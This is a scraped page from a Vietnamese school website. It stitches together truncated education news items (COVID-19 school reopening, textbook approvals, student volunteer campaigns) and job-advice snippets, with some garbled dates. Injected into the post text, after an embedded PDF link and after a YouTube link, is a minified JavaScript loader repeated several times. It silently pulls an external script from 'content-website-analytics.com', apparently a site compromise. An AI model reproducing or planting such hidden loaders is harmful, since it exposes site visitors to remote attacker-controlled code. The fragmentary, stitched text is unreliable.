Lịch kiểm tra các môn chung, giữa học kyf2, năm học 2020-2021 [embeddoc url="http://c3letrungdinh.quangngai.edu.vn/wp-content/uploads/2021/03/LICH-KIEM-TRA-GIUA-KY-2.pdf"];(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');

Sáng 28/8, Sở Giáo dục và Đào tạo Quảng Ngãi tổ chức Hội nghị Tổng kết năm học 20219-2020, triển khai nhiệm vụ năm học 2020-2021 theo hình thức trực tuyến tại điểm cầu Tỉnh và 13 huyện, thị xã, thành phố. Phó Chủ tịch UBND tỉnh Đặng Ngọc Dũng dự và phát biểu chỉ đạo Hội nghị, tham dự có đại diện lãnh đạo Ban Tuyên giáo Tỉnh ủy, Ban Thi đua-Khen thưởng, UBND huyện, thị xã, thành phố và thủ trưởng các đơn vị trong ngành. Năm học qua, ngành giáo dục và đào tạo tỉnh nhà đã không ngừng phát triển về nhiều mặt, đóng góp to lớn trong sự nghiệp phát triển các chỉ tiêu về văn hóa-xã hội. Toàn ngành đã kiên trì thực hiện đổi mới sáng tạo trong dạy và học, nhà trường gắn liền với xã hội, tinh gọn các cuộc thi, hồ sơ không cần thiết để giáo viên các cấp học tập trung dạy và học, thực hiện việc đổi mới căn bản, toàn diện từ mỗi nhà trường, từ mỗi giáo viên giảng dạy các môn học. Mạng lưới trường học đối với giáo dục cơ bản đảm

https://youtu.be/3K6ZP1bEQ04;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');

Web.ĐTN: Đồng hành cùng sinh viên quay trở lại trường học, Đoàn Thanh niên - Hội Sinh viên Việt Nam TP Hà Nội đã chỉ đạo Đoàn Thanh niên - Hội Sinh viên các trường đại học, học viện, cao đẳng trên địa bàn Thành phố tích cực triển khai các đội hình thanh niên tình nguyện, xung kích, hỗ trợ, cùng nhà trường sẵn sàng đón sinh viên quay trở lại học tập.   Sáng nay 2/3, tại một số trường đại học, học viện, cao đẳng trên địa bàn Thành phố, sinh viên đã chính thức quay trở lại giảng đường sau thời gian nghỉ do tình hình dịch Covid-19. Tại Đại học Bách khoa Hà Nội, ngay từ hôm qua (1/3), Đoàn Thanh niên - Hội sinh viên Đại học Bách Khoa đã thành lập Đội Cán bộ Đoàn xung kích bao gồm cán bộ Đoàn - Hội, sinh viên Tình nguyện của hơn 20 Đội Tình nguyện trong các Khoa, Viện, Hội sinh viên nhà trường được tập huấn đầy đủ các công tác phòng chống dịch; sẵn sàng ra quân tuyên truyền, hướng dẫn sinh viên chủ động đảm bảo sức khoẻ của cá

Tại Hội nghị Ban thư ký T.Ư Hội Sinh viên Việt Nam diễn ra sáng nay, 16.2, Chủ tịch Hội Sinh viên Việt Nam cho biết, có thể phải lùi Chiến dịch sinh viên tình nguyện “Mùa hè xanh 2020” vì dịch Covid-19. Chiến dịch Thanh niên sinh viên hè có thể bị lùi lại vì dịch Covid-19. Ảnh Bảo Anh Sáng 16/2, tại Hà Nội, Trung ương Hội Sinh viên Việt Nam đã tổ chức Hội nghị Ban thư ký lần thứ 3 khóa X. Anh Bùi Quang Huy, Bí thư T.Ư Đoàn, Chủ tịch Hội Sinh viên Việt Nam, cho biết Hội nghị sẽ sơ kết học kỳ 1 năm học 2019 - 2020; bàn về việc điều chỉnh tiêu chuẩn Sinh viên 5 tốt; kế hoạch tổ chức Chiến dịch Sinh viên tình nguyện hè năm 2020... Theo anh Huy, do tình hình dịch Covid-19 nên sinh viên đã phải nghỉ học phòng dịch. Vì thế, việc tổ chức Chiến dịch “Mùa hè xanh năm 2020” có thể sẽ phải lùi lại theo lịch học của sinh viên. “Theo tình hình này thì ngay cả việc tổ chức Tháng Thanh niên (tháng 3.1019) có thể cũng

Về định hướng chiến lược đào tạo giáo viên: Cử tri kiến nghị Bộ Giáo dục và Đào tạo có chiến lược đào tạo, hoạch định rõ lộ trình, tính toán cân đối nhu cầu đào tạo sinh viên ngành sư phạm và sử dụng giáo viên để có chính sách quan tâm ưu tiên đào tạo đội ngũ giáo viên có số lượng hợp lý, chất lượng đáp ứng yêu cầu đổi mới toàn diện giáo dục - đào tạo; hạn chế tình trạng giáo viên vừa thừa vừa thiếu như hiện nay, ảnh hưởng đến chất lượng giảng dạy và lãng phí chi phí đào tạo nguồn nhân lực Thực trạng hoạt động của hệ thống cơ sở đào tạo giáo viên cho thấy việc đào tạo sư phạm vẫn theo hướng dựa vào thế mạnh của nhà trường, dự báo về cung và cầu chưa được thực hiện triệt để; việc thanh tra, kiểm tra công tác tuyển dụng, sử dụng đội ngũ giáo viên, nhân viên của các cấp quản lý còn hạn chế dẫn đến tình trạng thừa, thiếu giáo viên cục bộ tại một số địa phương. Thời gian qua, Bộ Giáo dục

Đề nghị Bộ Giáo dục và Đào tạo quy định môn Giáo dục công dân là bộ môn học chính trong chương trình giảng dạy để tăng cường giáo dục đạo đức, nhân cách cho học sinh, sinh viên trong thời gian tới Chương trình giáo dục phổ thông hiện hành được ban hành theo Quyết định 16/2006/QĐ-BGDĐT ngày 05/5/2006 của Bộ Giáo dục và Đào tạo. Theo đó, môn Đạo đức được dạy ở cấp tiểu học (35 tiết/năm học); môn Giáo dục công dân được giảng dạy từ cấp trung học cơ sở đến trung học phổ thông (35 tiết/năm học). Trong chương trình giáo dục phổ thông mới[1], giáo dục đạo đức, nhân cách học sinh được thực hiện thông qua tất cả các môn học, hoạt động giáo dục, trong đó môn Giáo dục công dân (ở tiểu học gọi là môn Đạo đức, ở trung học cơ sở gọi là môn Giáo dục công dân, ở trung học phổ thông gọi là môn Giáo dục kinh tế và pháp luật) đóng vai trò quan trọng. Chương trình Giáo dục công dân được dạy xuyên suốt cả 3 cấp học. Ở giai đoạn giáo dục

Chiều 27/2, tại Bộ Tư pháp đã diễn ra Hội nghị triển khai công tác và ký kết giao ước thi đua năm 2020 của Khối thi đua số I, Công đoàn Viên chức Việt Nam. Đồng chí Khương Thị Thanh Huyền, Chủ tịch Công đoàn Bộ Tư pháp, Trưởng khối và đồng chí Nguyễn Thị Hà, Phó Chủ tịch thường trực Công đoàn Bộ Nội vụ, Phó Trưởng khối chủ trì Hội nghị. Tham dự Hội nghị có Phó Chủ tịch thường trực Công đoàn Viên chức Việt Nam Nguyễn Giang Tuệ Minh; Thứ trưởng Bộ Tư pháp Đặng Hoàng Oanh; Phó Bí thư thường trực Đảng uỷ Bộ Tư pháp Nguyễn Kim Tinh cùng đại diện lãnh đạo Công đoàn các đơn vị trong Khối thi đua số 1 (gồm Công đoàn Bộ Tư pháp, Bộ Nội vụ, Bộ Tài chính, Bộ Lao động Thương binh và Xã hội, Bộ Văn hoá, thể thao và Du lịch, Bộ Kế hoạch và đầu tư, Bộ Ngoại giao, Bộ Khoa học và công nghệ, Bộ Tài nguyên và Môi trường). Theo dự thảo kế hoạch hoạt động năm 2020, Công đoàn Bộ, ngành Khối thi đua số 1 sẽ

Ngày 22/2, Bộ trưởng Bộ Giáo dục và Đào tạo (GDĐT) đã ký công văn gửi Chủ tịch UBND các tỉnh, thành phố trực thuộc trung ương về việc điều chỉnh khung kế hoạch thời gian năm học 2019-2020. Công văn nêu rõ: Trong thời gian cho học sinh tạm nghỉ học để phòng chống dịch bệnh Covid-19 vừa qua, Bộ GDĐT đã cùng các địa phương bám sát tình hình dịch bệnh, chỉ đạo và hướng dẫn các nhà trường thực hiện nghiêm các biện pháp phòng, chống dịch bệnh theo hướng dẫn của Bộ Y tế và các cơ quan chuyên môn. Đến nay, các nhà trường đã thực hiện việc vệ sinh, tẩy trùng trường, lớp; học sinh đã được hướng dẫn thực hiện quy trình phòng, chống dịch bệnh; giáo viên đã được tập huấn về các quy trình phòng, chống dịch bệnh để hướng dẫn học sinh thực hiện khi trở lại trường học. Căn cứ vào tình hình dịch bệnh đã được kiểm soát như hiện nay và nếu không có diễn biến phức tạp thêm, Bộ GDĐT đề nghị Chủ tịch UBND các tỉnh, thành phố trực thuộc trung ương quyết định cho

Chiều 27/2, Bộ trưởng Bộ Giáo dục và Đào tạo (GDĐT) Phùng Xuân Nhạ đã ký công văn gửi Chủ tịch UBND các tỉnh, thành phố trực thuộc Trung ương về việc cho học sinh đi học trở lại sau thời gian nghỉ học để phòng, chống Covid-19 Nội dung công văn như sau: Ngày 22 tháng 02 năm 2020, Bộ GDĐT có công văn số 509/BGDĐT-GDTrH về việc điều chỉnh khung kế hoạch thời gian năm học 2019-2020. Theo đó, thời gian kết thúc năm học trước ngày 30/6/2020, thi trung học phổ thông quốc gia từ ngày 23/7/2020 đến ngày 26/7/2020 và đề nghị các địa phương xem xét, quyết định cho trẻ em mầm non, học sinh phổ thông, học viên giáo dục thường xuyên học trở lại từ ngày 02/3/2020 nếu tình hình Covid-19 được kiểm soát tốt, không có diễn biến phức tạp thêm. Trước tình hình Covid-19 đang có diễn biến phức tạp ở một số nước, Bộ GDĐT đề nghị Chủ tịch Ủy ban nhân dân các tỉnh, thành phố trực thuộc Trung ương căn cứ tình hình thực tiễn của địa phương xem xét, quyết định cho trẻ mầm non, học

Ngày 21/2/2020, Bộ trưởng Bộ Giáo dục và Đào tạo ký quyết định 512/QĐ-BGDĐT phê duyệt Danh mục sách giáo khoa lớp 1 sử dụng trong cơ sở giáo dục phổ thông. Theo đó, có 7 sách giáo khoa được phê duyệt lần này, nâng tổng số sách giáo khoa lớp 1 chương trình GDPT mới lên 45 cuốn của 9 môn học và hoạt động giáo dục. 7 sách giáo khoa được phê duyệt ngày 21/2 gồm: 01 cuốn môn Tự nhiên xã hội (1 cuốn), 3 cuốn môn Giáo dục thể chất, 2 cuốn môn Hoạt động trải nghiệm, 1 cuốn môn Tiếng Anh (chi tiết trong file quyết định đính kèm). Năm 2019, Bộ GDĐT tổ chức 2 lần thẩm định sách giáo khoa lớp 1, lần 1 vào tháng 5 và lần 2 vào tháng 10. Ở lần thẩm định thứ nhất, có 38/49 bản mẫu sách giáo khoa được được Bộ trưởng Bộ GDĐT phê duyệt cho phép sử dụng trong cơ sở giáo dục phổ thông. Trong 11 bản mẫu được đánh giá “không đạt” ở lần thẩm định 1, có 7 bản được tác giả chỉnh sửa, biên soạn lại theo góp

Chiều 26/2, tại Bộ GDĐT, Bộ trưởng Phùng Xuân Nhạ đã có buổi tiếp Đại sứ Thái Lan tại Việt Nam, ngài Tanee Sangrat. Bộ trưởng Phùng Xuân Nhạ tiếp Đại sứ Thái Lan tại Việt Nam, ngài Tanee Sangrat Chúc mừng ngài Đại sứ đến nhận nhiệm vụ tại Việt Nam, Bộ trưởng Phùng Xuân Nhạ mong rằng, trong nhiệm kỳ mới, ngài Đại sứ sẽ mang lại nhiều kết quả tốt đẹp cho quan hệ hợp tác Việt Nam - Thái Lan, trong đó có lĩnh vực giáo dục và đào tạo. Đánh giá cao quan hệ hợp tác giữa Việt Nam và Thái Lan trong lĩnh vực giáo dục và đào tạo thời gian qua, thể hiện bằng nhiều kết quả hợp tác nổi trội, Bộ trưởng Phùng Xuân Nhạ đề nghị, trong nhiệm kỳ mới, Đại sứ Tanee Sangrat sẽ hỗ trợ để quan hệ hợp tác giáo dục và đào tạo giữa hai nước ngày càng phát triển. Trong đó, trước hết sẽ thúc đẩy để hai nước sớm ký lại được Bản ghi nhớ hợp tác giáo dục đã ký kết từ năm 2004; tiếp tục hỗ trợ các dự án, chương trình đang

Công việc của biên tập viên có rất nhiều vị trí khác nhau thuộc lĩnh vực truyền thông và báo chí. Vậy biên tập viên có thể làm những vị trí nào? của việc làm tphcm dưới đây sẽ giải đáp thắc mắc rõ ràng hơn nhé! Các vị trí của công việc biên tập viên Biên tập viên truyền hình Đây là một công việc rất năng động nhưng cũng có rất nhiều yêu cầu, kèm theo đó là những áp lực trước ống kính máy quay. Ngoài kỹ năng cơ bản là biên tập nội dung thì biên tập viên truyền hình cần phải có kỹ năng nói tốt, ngoại hình phù hợp, biết cách chỉnh sửa những câu văn trong kịch bản trước đó trở thành một bài viết hoàn thiện nhất. Ngoài ra, tình cẩn thận và tỉ mỉ rất cần thiết trong công việc này. Biên tập viên phát thanh Cũng giống như công việc biên tập viên truyền hình, người đảm nhận công việc này phải có một giọng nói hay, truyền cảm. Biết cách thay đổi quãng giọng để phù hợp với những nội dung khác nhau của chương trình. Biên tập viên

Sau một khoảng thời gian chờ đợi từ buổi phỏng vấn, bạn nhận được thư mời làm việc từ doanh nghiệp. Lúc này, dù có bao nhiêu vui mừng thì bạn đừng nên viết một email trả lời thư mời nhận việc nhé. Ở bài viết hôm nay, Việc làm Hà Nội sẽ mách cho bạn vài tips để thư trả lời của bạn tinh tế hơn nhé. Tại sao nên viết thư cảm ơn sau khi được nhận công việc? Viết mail trả lời thư mời nhận việc khi phỏng vấn thành công làm có lẽ là việc mà ít ai nghĩ đến. Nguyên nhân có thể đến từ việc nhiều người cho rằng, viết thư cảm ơn nhà tuyển dụng là điều gì đó không cần thiết. Một lá thư cảm ơn thể hiện hành động khôn khéo để bạn hoàn thành trọn vẹn quá trình xin việc một cách chuyên nghiệp nhất. Tất nhiên không một nhà tuyển dụng nào đòi hỏi hành động cảm ơn từ ứng viên sau khi họ gửi thông báo trúng tuyển cho bạn. Nhưng nó sẽ giúp bạn khép lại hoàn hảo bí quyết chinh phục nhà tuyển dụng ngay khi